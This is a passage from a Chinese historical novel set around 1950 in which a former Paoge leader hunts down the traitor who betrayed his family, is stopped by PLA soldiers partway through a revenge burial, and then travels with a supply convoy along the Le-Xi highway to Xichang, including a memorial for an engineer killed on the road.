虽然的解放军主要解放的是县城、乡镇及交通线,但周立行不管那么多,他要做一件事就一定要做到底,得了冯显贵的消息,便无论如何都要去,哪怕是他自己一个人。
赵大石拗不过周立行,只得派了一队人跟着周立行去追,那只匪军主力跑掉了,冯显贵这一只被部队咬得太紧,没跑得掉,直接被包围起来。
冯显贵没打算负隅顽抗,他本就是只想争权夺利发财的人,眼下被包围,他已经做好投诚的准备。
但他这种被利益糊了心的人,投诚也是没有诚心的,他们躲在一个坚固的寨子里,派人出来传信,竟想的是和解放军部队谈条件:他们带人带枪投降,还可以帮着追击匪军,但要给他冯显贵一个官职,还得保证既往不咎。
那送信出来的人,却又是周立行的熟人——当初去缅甸运货队伍里的一个小队长,原光耀堂六爷的侄儿,曾因违反车队禁令被吊起来打一顿,送回滇缅运输总局去了的李柱。
这人见了周立行,大惊失色,惊惶不定。
周立行哪能给冯显贵投降的机会,他不理赵大石的反对,抓住李柱自行审问了一番。
那李柱被周立行收拾了一通,涕泪纵横地交代了许多事情:
“舵把子……都是冯,冯二爷吩咐的啊……他见我被送回来,觉得你不给光耀堂面子,让我必须找回场子……”
“……我们跟了邢五爷很长时间,终于摸到了你的家眷在哪……恰,恰好我有个表叔在洪雅高庙当袍哥……当时,当时大家也不敢动你的婆娘娃儿……我们就,就买通你们那的保长,让他们把周立顺给抓了壮丁……出一口恶气……”
“后来……听说车队很多人陷落在滇西日战区……本来邢五爷是瞒着的……我……我们又故意把消息透露给得病的王梨花……”
“……早的时候你们送到成都来的许多药品……来接头拿的人,被我们发现跟共产党有联系……邢五爷一直在帮你们遮掩……抗战胜利后,冯显贵为了争权,就给中统告密了……”
这个李柱虽然说得遮遮掩掩,但绝对是参与了这些事情的。
周立行没有任何情绪,他知道过往的一切无法改变,只能往前走。
“你都知道得这么清楚,那我儿子呢?”
李柱卡了壳,结结巴巴地回答,“应,应该是,邢五爷接走了……我们,我们也找过……邢五爷,外孙多……我们……我们……”
周立行猛地一拳砸到李柱的旁边的墙上,墙砖被打裂开来。
李柱大脑一片空白,直觉快过思考,顿时话也不结巴了,流畅地一口气说完:
“我们本来是想把邢五爷的外孙们都抓来看一遍的,他那些女儿们精得很,邢五爷刚被抓,那九个女儿竟然不约而同地跟着女婿们跑了……天南海北四散而去,我们派人去追,但大家都觉得为了找个小娃儿兴师动众没必要,就,就约着出去玩了一个月,回去交差说没追上……”
周立行听完了所有的事情,摸出匕首就要给这个狼心狗肺的东西三刀六洞。他周立行,容不得叛徒。
赵大石这个时候死活不让,他一个人竟拦不住周立行,不得不喊了十几个战士一起来拦。
那李柱为了活命,张口乱喊,“我表叔李玉光,也是洪雅的人,他,他是汉王乡总岗山那边的袍哥,听,听说起义了……我,我也要起义……别杀我……”
解放军的政策是要优待投降俘虏的,他们拦着周立行,苦口婆心地讲道理。
周立行不可能对朝夕相处的解放军兄弟们下死手,只能勉强饶过李柱的性命。
但饶得了李柱,他绝无可能再饶过冯显贵。
于是当夜,周立行单枪匹马地摸进了冯显贵的驻地。
夜色沉沉,他像一只夜宵,也像一条孤狼,他带着仇恨和愤怒,悄无声息地躲过明哨暗哨,走到了冯显贵睡觉的床前。
冯显贵是怕死的,他让许多手下守在屋子外面睡觉;可他又是多疑的,生怕手下绑了他去邀功,所以屋子里只有自己一个人,后窗是开着的,方便有什么风吹草动的时候他能第一时间逃跑。
这一切都方便了周立行,他悄无声息地从后窗翻入的时候,冯显贵在床上浅眠。
冯显贵睡得很不踏实,他拍能说会道的李柱出去后,李柱一直没有回来。
他难得地,梦到了许久没有联系的冯争鸣。
冯争鸣出现在梦里,却没有一句好话,只是不阴不阳地笑着,说着嘲讽的话:
“老东西,你的死期来咯!”
冯显贵气得七窍生烟,骂道:“你个忤逆不孝的狗东西,弄死老子那么多儿子,结果滚出去就不回来,现在还来诅咒老子,妈的,老子早就不该认你回家,让你狗日的死外面才对……”
梦里的冯显贵还在骂,现实里的身体却被狠狠地砸在了地上。
失重和疼痛让冯显贵清醒过来,他警觉地翻身爬起,头晕眼花的同时也在摸不离身的枪,却摸了个空。
“冯争鸣,早就死在战场上了。”
周立行
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站在一旁,眼神冰冷。
冯显贵意识到自己应该是说了梦话,然后突然反应过来,自己不在屋内床上,而是在山林里!
对面说话的,竟然是周立行!
虽然过去了几年,周立行比起离开成都忠义堂的时候,显出了岁月磋磨后的倦怠和颓愁感,可他的五官长相没有发生变化,眉眼还是那么的冷冽,甚至更添杀气锐利。
冯显贵意识到,自己竟然是在浅眠的状态下,毫无意识地被弄了出来!
脑海里迅速回闪过今日李柱的一去不返,再想起来李柱之前是跟着周立行去滇缅线做过运输的,以及他让李柱对邢五爷、王喜雀母子做的事,冯显贵顿时冷汗直冒,浑身发寒。
“舵把子,您大难不死,必有后福啊……”冯显贵试图说点什么。
周立行不丁不八地站着,双手自然下垂,眼睛却死死地盯着冯显贵,“李柱说,邢五爷是被严刑拷打之后,活埋的。”
冯显贵转身要跑,周立行掏枪就开,一枪打在冯显贵的脚杆上。
周立行蹲在冯显贵的旁边,他笑了,“我出来之前已经给关圣的画像上过心香了。冯显贵,你作恶多端,应开草坝场。”
冯显贵噗通倒地,他自知自己跑不了,索性疯狂地喊叫起来,“我知道你是共产党,你们昆明分堂从滇缅线送的许多物资药品,都是地下党来领的!现在你跟着解放军,你们是要讲纪律的!你不可以这样乱用私刑,我已经投降了,你们不可以虐待俘虏……”
他听了一路的解放军优待俘虏,不搜腰包不打人,只要放下武器,就能得到宽大处理。
此刻,他多么希望周立行是共产党。
“我很想当共产党,可我现在还不是,所以我不用守他们的规矩。”周立行戳破了冯显贵最后的希望,“我现在,还是你的舵把子,我有资格按我们的规矩处理你。”
冯显贵张了张嘴,虽他知道自己干过多少坏事,罔顾袍哥道义自相残杀,欺男霸女折磨仇家,或直接或间接,导致多少无辜男女老幼丧命。
所以军统来人给他封官许愿,他才听了他们“政治台湾,军事西昌”的鬼话,顾头不顾腚地带着人马跟着军统特务跑路西康。
可哪知道,哪知道这解放军如此神威,一路撵得他们鸡飞狗跳。
军统特务说的好听,进了彝区,共产党就寸步难行。
结果呢?寸步难行的是他们自己,彝区的人更恨他们这些国军!
共产党来了,带着他们民族大团结、尊重民族风俗信仰、团结平等的理念,以及肃清匪特的队伍,势如破竹地推进西南,速度快到让所有人招架不及。
凉山四大土司中,住在小凉山雷波的阿卓土司是个女人,这位女土司杨代蒂毫不犹豫地投诚了!
冯显贵跟着军统特务带着的部队跑,他们要去西昌汇合,可解放军的部队追得紧,冯显贵这一只没跟上,立马被围住。
然后就迎来了周立行这个债主。
周立行身上除了枪,只带了一把匕首,他将这匕首丢在地上,“冯二爷,自己挖坑吧。”
冯显贵伤了一只脚,已经跑不得,他颤巍巍的捡起匕首,目眦欲裂,既知反正都是死,他不如在最后的时刻拿一口豪气!
好歹他也是当过袍哥大爷的人,曾经也是光耀堂的舵把子!他再怕,也不能让周立行看笑话!
冯显贵捡起匕首,大喝一声就要往胸口插去!
周立行却眼疾手快,一截拳打断了冯显贵的手。
“我要的,是活埋。”周立行语气平静,“你这样,不合我意。”
说完,周立行索性把冯显贵绑起来丢在旁边,自己吭哧吭哧地刨起了坑。
也正是这么一耽搁,赵大石竟又带着人找了来。
赵大石来的时候,周立行已经挖好了坑,把冯显贵另外两只手脚也打断丢近坑里,正在填土。
为了不让冯显贵被泥土呛死,他还专门给冯显贵的头部做了防护,务必让他清醒地感受自己如何走向死亡。
“俊秀同志!停一下!”赵大石急匆匆地跑来,拉着填土的周立行,“你这又是在干啥?咱们解放军不用私刑!”
周立行第二次被打断,脾气也上来了,“谁跟你是咱们?”
88.乐西公路
赵大石一噎,“政委说要重新发展你!我们也调查了,你……你是不是失去了组织联系了?你在滇西那边打游击的队伍,副队长沐明实是共产党员!再往前,你和沐明实给咱们送了许多紧缺医药物资!再往前推,你是不是跟会理那边的彝人承认过红汉的身份?”
“……”周立行听到沐明实的名字,手上的劲一松,“……我……我那是……”
赵大石一边使眼色让战士们赶紧去挖人,一边继续劝说,“俊秀!我的哥!你能把匪首抓回来已经是大功一件了,战场上是一回事,这战场下是另外一回事!新中国了,咱们不能随便杀人!”
“他出卖了我的长辈,害死了我的婆娘,还想斩草除根我的儿子。”周立行眼看着那些战士去挖土,再看赵大石,他认真地问,“你们优待俘虏,会放过他这种恶贯满盈的人吗?”
赵大石正色道,“优待俘虏,不代表纵容恶徒!既然你说他恶贯满盈,那我们肯定要认真调查!我们派人把他押解回成都,开公审公判大会,让所有被他伤害的人都来控诉,我们会在群众面前,枪毙那些该杀之人!”
这么听来,跟开堂会也没有什么区别,周立行沉思片刻,“好,那你们替我杀他。”
跟着解放军走了这么一路,周立行是十分信任赵大石的。
……
“那最后呢?”杨珺秀回想起自己看到的公审大会,她也深以为然,让一个人悄无声息的死掉,不如让他在众人面前接受审判。
“冯显贵这个人敢自杀,想来也不是怕死,若是让他就那样死了,倒反而像是便宜了他。”
周立行笑了起来,“却是,虽然我没有参加冯显贵的公审大会,但我听说了后续,他作恶太多,控诉他的人从白天说到了晚上,最后是半夜时分才被逮着去枪毙的。”
“那还真的是恶贯满盈。”杨珺秀想了想,又评判到,“若我有能力,我也希望自己可以手刃仇敌,可天底下本来收欺辱的大多就是弱者,弱者自己本就难以报仇,而我还有女儿需要照顾,我没办法去玉石俱焚……”
“我喜欢公审大会这种形式,让我们这些弱者,可以亲眼见证报仇雪恨!”
周立行发现,杨珺秀的心性其实是坚韧的,她和罗瑞鹤有相似之处。当初罗瑞鹤若是没有冯争鸣帮助,怕也是会同杨珺秀一般郁结于心,不疯傻也会闹出玉石俱焚的事来。
“都过去了。”周立行说到,“无论好的坏的,都过去了……我也喜欢公审大会,让过去的一切都做一个了结,该死的人去死,活着的放下仇恨,继续往前……”
两个人聊着天,时间过得也快,不消一会儿便回到了那垮塌的地方。
留在这里的队员们也没有闲着,包括之前拉叶家带上来的人,他们已经合力清理出一部分区域了。
周立行见大家忙着,他没有加入搬石头的行列,反而是找了个坡稍缓的地方,往山上爬去。
他要去看一看上面山体的情况如何,有无过分松软的地方,有无裂缝。如果有安全隐患,那么他还得做一些简单的预警措施,避免发生二次坍塌的时候,下面的人们躲闪不急。
队长虽然搞运输在行,但对于道路的修建和维护以及地灾预警方面,还真的不擅长。他见周立行来来去去的,忍不住询问,在得到周立行的解释后,忍不住对周立行竖起大拇指:
“赵所长说的没错,你真的是个人才,等到了西昌,我也想跟领导打报告,把你招进来!”
周立行笑了笑没说话,他上去忙了一通,返回来拿了一些绳子,又去周围砍下一些长短不一的树枝,插在山体和路面的孔隙处。
队员们身上都有炒面干粮,晚上已经烧了热水在水壶里,中午都不用做饭。杨珺秀力气小,手掌太嫩,做不了什么重活路,她见周立行忙忙碌碌,自觉地跟上去忙。
莲妹儿先是跟着清理路面的泥土,见周立行和杨珺秀一起在插树枝,忍不住提问:“这是做什么?”
刘愿平坐着轮椅在一旁打瞌睡,听到有人提问,立即精神振奋,他伸头一看,“这是预警的一种,我们随时可以查看树枝有没有发生弯曲,如果弯曲了,说明这里的山体在倾斜,很容易发生垮塌等事故。”
周立行见刘愿平无所事事,干脆招呼莲妹儿,“莲妹儿,你把他推过来,一起插,你也过来,我来担土。”
莲妹儿也不客气,反正都是做事情,她立即和周立行轮换。
当天下午,拉叶家的人先回去,剩下的人又在这里过了一晚上,第二天,峨边县政府组织的人便浩浩荡荡地上来了。
人多了,工具足了,道路清理起来便快速得多。巨大的山石被石匠想办法分割,较大的石头被大家合力撬动,大家干得热火朝天。
这群人是以彝人为主,也有部分汉人,大家在一起有说有笑,氛围十分和谐。
晚上大伙儿围在临时搭建的火塘周围,有专门的后勤人员给大家烤土豆、荞麦粑粑,给大家煮热汤,大家有说有笑地围着聊天,彝语和汉语交杂。
刘愿平像是找到自己的主场,让莲妹儿把他推到一群彝族人旁边,跟人家喝酒。
拉叶见刘愿平身体残疾却心态坚定,便主动跟他攀谈起来。
刘愿平三句话不离老本行,跟拉叶打听起乐西公路修建时候的细节。杨珺秀隔得远远的听不太清楚,想过去又不太敢,周立行见状,便带着杨珺秀一起过去。
周立行跟拉叶进了一杯酒,杨珺秀跟在边上席地而坐,拉叶看了看他们两人,继续口里的话:
“咱们彝族知识精英曲木藏尧、还有土司岭光电分别担任南、北督修司令部的支队长,这条抗战路,也是一条彝汉路呢!”
“这条路,据说西康出了17个县的人,四川这边乐山、夹江、洪雅等供19个县,咱们彝人和汉人一起修路,当初也是闹出不少事儿呢,哈哈……不过最后,咱们一起把这路修好了!”
“……蓑衣岭与菩萨岗这一段死的人最多,这里多雨多雾,又冷又没有村寨,偏偏粮草又跟不上!听说这条路修完,缺粮、疲劳、疾病、工伤等死了三万多人!”
周立行默默地听着,他在没有需要的时候,往往是沉默寡言的。杨珺秀跟在旁边也是只听不说,她只是想听一些和致松相关的东西。
拉叶喝着酒,叹息着,“当时这路修好,多么难啊!要维持好,也是很难……可是后来,抗战胜利后,维护就成了问题。我听说川康公路,修成没多久就断了,直到现在才准备复通呢!”
“这乐西公路,也是时通时停,以前没有什么人组织,除非有特别情况,否则大家也是不理的……前几年还是国民党的时候,才组织了一场大疏通,结果又是死了好多人,大桥那边的泥石流一下子就埋了好多人……”
杨珺秀的脸色有些发白,但她没有如之前那边情绪波动,她看着火塘里的柴火,热烈地燃烧,然后慢慢变成灰烬。
她知道,致松是热爱自己的事业的,他当年外出求学的时候,也是信誓旦旦要学成归来建设祖国,要让西南的山路不再艰险,要让大河之上有坦荡通途。
三万多人……她的丈夫只是其中一个……她并不特殊,这世间还有三万多个和她一样痛失所爱的妻子,有三万多个翘首以盼儿子归来的母亲。
“我们现在修缮道路,小情况自己处理,大的状况县上组织来,是给准备好了吃穿的。他们啊,跟以前那些人不一样,他们做事情是先考虑咱们穷苦人的,做啥事儿都认真着……”
拉叶还在说着,杨珺秀却起身,回到了车队那边的火塘。
拉叶看着杨珺秀走了,有些摸不着头脑,问周立行,“你婆娘咋啦?”
周立行一口酒呛着,咳嗽起来,“拉叶兄弟,别乱说!我和珺秀只是朋友。珺秀的丈夫,就是前几年来修缮乐西公路的工程师,被泥石流埋了的。”
拉叶愣了下,“哦……”
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他不知道该怎么接话,干脆换话题,“抱歉,我还以为你们是夫妻呢……那你婆娘呢?”
周立行默默地喝了一口酒,没吭声。
刘愿平怕拉叶误会,赶紧解释,“好几年前他去云南打日本人的时候,婆娘在家病死了……”
拉叶:“……”
拉叶实在是不好意思,只好敬了周立行一杯酒,“你是个英雄,祝你以后能平安。”
再想了想,已经喝醉了的拉叶觉得他还想再说两句,“你和刚刚那个女同志,很般配的嘛,既然你们都丧偶,我看你们相处挺好,不如重组个家……”
周立行默默站起来,回车队了。
拉叶摸着头,觉得自己没说错啊,他看向刘愿平。
刘愿平哈哈大笑,“他是个闷头葫芦,咱们别管他,随便他们自己去发展吧,这人和人都是缘分,兄弟,来,喝酒!”
一夜过去,第二天,在所有人的共同努力下,道路终于疏通了。
车队再次出发,过蓑衣岭后前行十多公里,便来到岩窝沟。
岩窝沟路段路面宽度已不到5米,且完全是从山腰的岩腔里掏凿而成。上方,是看似摇摇欲坠的岩石盖顶,下方,是令人望而生畏的万丈深渊。
这段逼仄而崎岖的公路险象环生。
杨珺秀翻着周立行带出来的致松写的笔记,“这里就是……筑路民工喊的魔鬼住所了。”
周立行看上悬崖绝壁上开凿半山洞,其中一处须深挖33米的高岩,他想起当初在怒江边上爬悬崖搞爆破的时候,想来这里要在山崖上开洞,也是一样的艰险。
杨珺秀读着笔记里的词句:
“……无立足之处的半山腰开辟施工场地,这全靠以绳索将施工人员从山顶吊到悬崖下去操作。打一个炮眼,由三人一组进行,一人负责掌钢钎,两人负责打二锤,三个人轮流替……”
“当时在岩窝沟施工现场,曾有 [用我们的血和肉,去填满岩窝沟][筑路救国,死而无憾]这样视死如归的标语……”
“……在赶工最为紧迫的时候,每天有十多人因绳索被磨断而坠落山崖……”
杨珺秀的话语声越来越低,就像云雾流岚,渐渐消散在群山之中。
群山磅礴如海,一路血肉凝聚。她已经读懂了生死无常,
走过最难的这段路,车队到达石棉县大渡河上的一座钢缆悬索桥,因悬索桥建于大渡河“老鸹漩”,当地人称老鸹漩大桥。现在改名石棉吊桥。这座桥是在抗战时期建成的乐西公路上唯一一座钢悬索桥,长110米、单孔跨径105米,是当时中国第二大公路吊桥。
杨珺秀终于走到了她丈夫牺牲的地方。
南岸石儿山壁立的岩石,几乎就是天然的桥台。大渡河奔流到此,忽然遭遇到一座突兀的石儿山阻挡,河道陡然变窄,于是河水在这里形成了一个巨大的漩涡荡,常有动物被冲至此处漂浮回荡,从而引来老鸹觅食,因此得名老鸹漩。老鸹漩这座不高的石儿山,因石达开爱妾怀抱婴儿投河而得名。
“其实我也不知道你到底是在哪里被埋的,拉叶兄弟那样说,我就当是这里吧。”
杨珺秀从车上取下她带来的黄纸、草钱、香烛等各类祭祀用品,还有致松的牌位。她在桥头一旁,将东西摆好,开始烧纸钱。
“致松,你以前说,这座钢悬索桥的设计者是毕业于南京国立中央大学土木科的主任工程师郭增望。你还跟我说,以后要建造比这个更大更好的桥,可惜没这个机会了。”
杨珺秀眼神饱含怀念,她想起了许多好久未曾想起的往事,便轻轻地念叨起来。
“也不知道玉闺儿以后读书如何,可我见她对造桥修路没什么兴趣,怕是继承不了你的志向……”
周立行跟着站在杨珺秀旁边,他觉得自己站着不太好,干脆蹲下来跟杨珺秀一起烧纸。
莲妹儿本想上去帮忙,被刘愿平使着眼色给拉住了。
89.西昌
江水湍湍,急流回漩,忽地一阵疾风,将那包成纸封的值钱燃得更旺。
按照习俗,这些被包好的纸钱封皮上,会用传统的格式写上被祭奠者的姓名、生辰八字、籍贯家乡,以明确到底是祭奠给谁。
这些祭奠用品,大部分是出发前周立行准备的,等杨珺秀人变得较为清醒后,才将文字写上去。
而按照习俗,这些纸钱得在埋骨之地或家中烧,魂灵才能识得阳间的路,才能来领得到这份思念。
杨珺秀洁白纤细的手指一封封地将纸钱放进火中,那火烟缭绕,熏得杨珺秀双颊发红,眼泪汪汪。
周立行见状,转身回车去拿出修理工具中的一根长铁棍,回到杨珺秀身边,用铁棍将那纸钱亲亲拨弄。
他幼年离家前给家婆烧过纸,后来给黑老鸹和方结义守过头七,这烧纸钱的规矩他清楚,端公们说,要整封整封的烧透,地下面的人才能领到完整的钱。
他逢年过节的时候,也要给挺多人烧的,手法娴熟。
从桥那头过来几个人,赶着一群山羊儿,为首的是一名五十岁左右的和善男人,他见河边上有人烧纸,又见一队货车停着,便顺口搭话。
“耶~妹儿,哥子,你们是来祭奠亲人的哇?”
杨珺秀回头,颔首示意,“是呢,老伯,这是可以的吧?”
那老伯赶紧摆手,示意自己没有阻止的意思,“可以可以,当然可以,当年修桥铺路死的人多,这一路上时不时都要看到祭奠亲人的。”
说完,他们赶着羊儿往前走,还回头祝福道,“道谢他们呢,这桥修起来,我们来回不用绕山绕河,他们积德呢,后人顺遂,下辈子都会去富贵人家享清福呢!”
这是杨珺秀第一次为致松烧纸祭奠,她之前都故意回避着,春节时候的挂山也好,中元节的烧纸也好,她都未曾给致松做过。
因为她一直存着一丝妄念,似乎只要她不这样做,就等于没有承认过致松真正逝去,就像那些家中男人被抓了壮丁一去不复返一般,只要没有见过遗体,就可以欺骗自己也许男人们只是在外面活着。
哪怕男人们可能流落他乡,可能放下了过往,可能再次娶妻生子,总归就当他们活着吧。
可走这一趟,杨珺秀是确切地感受到了,生命在这浩渺的山川中多么脆弱,血肉抗战路只是听起来略显沉重的几个字,却是用无数个生离死别筑成的。
一条路尚且如此,当年的战争,更是撕裂岁月难以愈合的伤。多少儿女命丧他乡,多少魂灵无法魂归故里。
周立行听那老伯说的话,心中某个地方被微微触动,他伸棍再拨了拨那火堆,终于将纸烧完了。
杨珺秀站起来,恰好有一阵风吹来,满地的纸灰被吹起,竟是一阵旋儿风,裹着那些纸灰直往江心而去,最终散落江水中。
远去的老伯回头看到这画面,欣慰地笑着,他远远地挥手,“妹儿,哥子,莫念了,他们投胎了,这纸钱河神就给收了吼……”
杨珺秀莫名地心中一松,她往河边走了两步,似是迟去的送行,她用尽全力地冲着江水奔腾的方向大声呼喊:
“致松!!!下辈子!!!下辈子,有缘再见了……”
回声响起,“再见了……见了……”
山岩矗立,江水无言,故人已经离去多年,回声杳杳,只能当做生者的寄托。
莲妹儿默默地看着,也是泪盈眼眶,她那闷憨憨的男人石娃子,尸骨还在滇西的密林里。
她知道,石娃子若是有魂,肯定想方设法都要回来看自己和女儿的。
也不知道这么远的路,那单薄的魂儿飘不飘得来。
她去祭奠石娃子,也要让石娃子早点投胎,莫要痴痴地念着,一定要去过更好的一生。
这场短暂的祭奠,并未耗费太多时间,车队很快再度启程。
莲妹儿和刘愿平都再次拒绝轮流做前面座位的提议,这两人异口同声地说后面宽敞更舒服,他们两人喜欢坐后面,前面好晕车的,真的!
莲妹儿晕不晕车,周立行不确定,但刘愿平会晕车吗?周立行很怀疑。
刘愿平理直气壮地回答:
“我没了腿,稳控不住身体,这山路转来转去的,我怎么就不能晕?”
刘愿平给出的这个理由十分有说服力,周立行只好还是请杨珺秀坐副驾驶位了。
车辆行驶上大桥,桥上的钢索轻轻晃动。
杨珺秀看着那钢索,突然想起来浑浑噩噩时候遗忘了的许多事情,她脑海中灵光一现,想起来一件事:
“我听致松说,咱们还造不出建桥的特种钢索。当初修这个桥,是从美国订购的9圈钢索,万里迢迢海运到缅甸仰光的。”
“货刚运到仰光,日本飞机轰炸了仰光码头,致使存放在货栈的钢索被炸毁了4圈。乐西公路派去提货的人好不容易,才请一只运输军资的民间队伍,抢运出剩余的材料……”
“然后桥梁设计临时修改,勉强用4圈钢索,在限期内也做出了当时国内第二大的吊桥……”
周立行愣了愣,突然哈了一声。
“?”杨珺秀歪了歪头,眼神中流露出震惊,“不会是……”
周立行点头,命运中无处不在的巧合,让他深感意外,却也有一种没来由的欣慰。
“是的,我们运的。”
“你说的那个提货的人,当时蹲在仰光港口的库房外面嚎啕大哭,沐明实上去搭话,他抽抽噎噎地讲没人愿意运他那又大又重的钢索。”
“其实我也不懂,但沐明实听说是修桥的,便劝我答应了,还说占她个人运输的那个份额呢。”
“那钢索又大又重,货车装载着,在盘山公路拐弯的时候,可难开了……”
这钢索,从仰光到昆明,从昆明到四川,漂洋过海,车载马驮,最终到达这崇山峻岭之中,崩腾呼啸的大渡河上,执行了它们的使命。
杨珺秀也为这巧合而感受到莫名的欣慰,仿佛冥冥之中,她和周立行蜿蜒曲折地早就有了某些联系一般。
*
车队从这吊桥过了大渡河,继续南行经冕宁、泸沽等,最终到达西康省西昌。
西昌地处川西高原和安宁河平原的结合部,安宁河平原是仅次于成都平原的平坝地,俗称插根筷子都能活的好地方。西昌东连四川彭迪,西通青藏高原,南达云南,北接雅安,自古以来是西南地区的交通要到和军事重镇。
此时的西康省各城市和主要干线已经被解放军实际控制,经过近三年的反特清霸,这座各民族交融的古城终于迎来了安宁。
这趟车队从乐山五通桥过来,因五通桥以前就是制川盐的地方,所以这货车中运送的最重要的物资是盐巴,其次是布匹。
大小凉山地区,尤其是老凉山地区,盐和布一向都是硬通货。这批盐和布,是政府专门把为凉山缺盐少布的地区准备的。
曾经被破坏的道路和设施都重新修缮好,大街上四处都能看到身着彝、藏、汉各色服装的人员,男女老少们见有车队来了,都好奇地张望着,眼中充满对新生活的期待和憧憬。
车队将货品送到地方,周立行和杨珺秀刚下车,便被一个激动不已的青年冲上来拦住。
“队长??!!”
“周队长!!!天啊,真的是你,队长!!!”
周立行仔细端详这青年,他没有轻易地认下来。
那青年二十七八的样子,长得一副娃娃脸,眉眼秀气得像女孩子,以至于下巴上的胡茬看起来有些不伦不类,他穿着司机的工作服,将胸口拍得砰砰响:
“我是当年咱们运输大队的2中队长啊!付志卿!小付!当年流亡成都的学生,看了报纸去应聘忠义堂车队的!在昆明驾驶培训学校综合成绩考核的前10名!当初你还亲自给我戴过红花呢!想起来没?”
多年未见,这青年略微变了模样,而周立行跟着解放军经历过剿匪反特,谨慎之心更甚,他不做声,等这青年说更多的细节再判定。
那青年见周立行不置可否的模样,急的扎耳挠腮,“哎,哎!队长,我政治清白,素质过硬!接受过考查的!我这进的是咱们新中国政府的国营车队,你看,你看我的工作服!”
青年身后走来好几个司机,听那青年说话,纷纷笑了起来,其中有几个人同周立行来的另外一些人认识,大家便一起起哄起来:
“周大哥谨慎得呢!”
“哎唷,小付师傅不是特务,哈哈哈……”
“路上我就想说,不知道小付跟周大哥认识不,嘿!这果然是熟人!”
“周大哥,志卿没问题,你放心认。”
“这还真是有缘千里来相会,小付跟车队刚从云南过来,咱们刚从四川过来,要是错过今年,指不定三月五月时间都凑不到一起呢!”
“三月五月?周大哥是帮忙来一趟!今天没见到,指不定这辈子都见不了呢……”
付志卿急的原地乱转,见杨珺秀站在周立行身后半步,立即向杨珺秀求助,“这位女同志你好,请问你是周队长的队友还是家属?快帮我说说话,哎我还想跟周队长打听事呢,他这要是不认我,我咋问啊……”
杨珺秀被眼前青年心急火燎的模样给吓住,一边尽量得体地回答,一边往周立行那边看:
“你好,我和周大哥是……朋友,那个,他……”
周立行伸手拍了付志卿后备一巴掌,“多大的人了,怎么还这么鸡跘猴跳的。”
此话一出,付志卿才冷静下来,多年未曾谋面的故人猝不及防重逢,他心中的欣喜和激动难以言喻,只能一个劲地说,“队长,我请你吃饭!走,我办你的招待!”
周立行失笑,“我带了其它朋友……我请你吧。”
付志卿头摇的跟拨浪鼓似得,“那怎么行,刚刚老高说你是帮忙的,我可是每个月
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领工资的正式工!再说,当年你那么照顾我们,必须我请!”
周立行是江湖中人,懒得跟付志卿推脱,便答应了下来。
那些师傅们也体谅他们俩,便让他们先去找个饭馆聚一聚聊一聊,剩下的清点货品、交货入库等事情就其他人做。
*
付志卿选了最近的一家饭馆,点了一大桌子颇有西昌特色的丰盛饭菜。
一大盆凉拌坨坨肉摆在正中央,在辣椒酱油中喝醉的新鲜小河虾鲜嫩清甜,大只的板鹅被切成几大块放在每个人的面前,麻辣干巴牛肉一闻就让人口水直流。
荞麦粑粑和米粉面食放在四周,各类新鲜蔬菜也不缺,西昌这里的食物如成都一般丰盛。
莲妹儿把刘愿平往饭桌上一推,他也不客气,端起酒杯就敬付志卿:
“小兄弟,好丰盛的饭菜啊!让你破费了!我叫刘愿平,是周哥的好兄弟!来,敬你一杯!”
有刘愿平这个格外开朗的人热场子,大家很快就攀谈起来。莲妹儿和杨珺秀两人边吃边聊着,她们俩也一人倒了一小杯酒,相互碰杯后小口小口地抿着喝,只有周立行分外沉默。
转眼桌上的饭菜已经一扫而光,刘愿平醉得睡了过去打起了呼噜,杨珺秀和莲妹儿也是双颊微红,两人也喝了个半醉。
周立行从头到尾只喝过一小杯,对比付志卿的激动,他显得格外沉郁。
付志卿先和刘愿平聊天,得知刘愿平时当年修筑滇缅公路的工程师,还因此失去双腿,更是敬佩得不得了。
而刘愿平则是吹捧付志卿当年作为流亡成都的学生,能够在危险的滇缅线上搞运输,现在又为新中国的建设而努力,不亏是青年英杰。
这两人相互夸赞得热烈,最后付志卿吃喝的差不多了,酒后晕乎,终于问出了他想问的问题:
“队长……能给我说说,明实姐的事儿吗?”
周立行的筷子一顿,他放下筷子,看向泫然欲泣的付志卿。
付志卿心一横,直接讲了心里话,“我那个时候年纪小,才十七八岁,我喜欢明实姐,又不敢说……我现在想起来,可后悔了……”
说着说着,付志卿掉下泪来,“你们都说我腼腆,其实我只是不敢跟明实姐相处……她那么耀眼,什么都懂,她太美太能干了……我一见着她,我就说不出话来。”
“队长,哥啊,我好后悔的,我怎么就没说呢……明明我也知道,生死就是一瞬间的事情,无论是翻车下悬崖,还是被飞机轰炸,亦或是突如其来的一场病,人就会没了……”
“我怎么就不能说呢……我怎么就要顾念那么多呢……我说了,哪怕是明实姐看不上我这个小弟娃……”
周立行端起酒杯,碰了一下付志卿的杯子,“队里,喜欢明实的人多着呢,不差你一个。”
说道这里,付志卿更是情绪崩溃,抓着身边的刘愿平嚎啕大哭:
“已经过去十年了,我还是会经常梦到那个时候,咱们一群人开着车,在那闷热潮湿的山岭间奔驰,日本人的飞机来了,一路上的奸细特务们不停地搞破坏……”
“老王死了,华哥死了,严堂主也死了……我忘不了,我永远也忘不了,我后悔,当初我怎么就先过了惠通桥……我怎么把明实姐给留下了……”
“我要是留下来,是不是也会遇上你……我要是迟一步走,是不是就能保护明实姐……我愿意替她去死啊,我真的愿意替她去死……”
刘愿平抱住付志卿,拍着他的后背安抚,“人死不能复生,弟娃,过去了就过去了,未来不要再留遗憾就行!”
周立行喝完手中的酒,杯子刚放下,还没有来得及去拿酒瓶,杨珺秀已经适时地为他倒满了杯子。
周立行抬眼看过去,杨珺秀微微点头,她也喝了酒,双颊发红,目光中全是了然的鼓励。
周立行心中微动,他知道杨珺秀的意思。
虽然自己跟杨珺秀讲了过往,但他一直还是回避着那些过往的。
他详细地讲过自己的得到,但一旦说到失去,就会语焉不详,仿佛那是不可触碰的疤痕。
于是过去远的,他越是记得清楚,越是隔得近的,他确实故意遗忘。
这一晚,他们聊得很晚,周立行将他所知道的关于沐明实的事情,都告诉了付志卿。而付志卿,也告诉了周立行当初他们在腊戍分开后,一路上发生的事情。
这难得的短暂相逢,让周立行的思绪重回了一阵当年的厮杀岁月,回到宾馆后,他收拾照顾好刘原平,躺在床上,一夜无眠。
也不知是当夜聊得太晚,还是杨珺秀本身体质弱,还是心绪放松后喝了酒吹了风,第二天竟然突发高热,昏迷不醒。
莲妹儿发现状况,赶紧过来敲门找周立行。
周立行迅速去查看情况,摸着杨珺秀的额头滚烫,他立即让莲妹儿去守还在睡觉的刘愿平,自己抱起杨珺秀急急地往医院赶去。
90.西昌
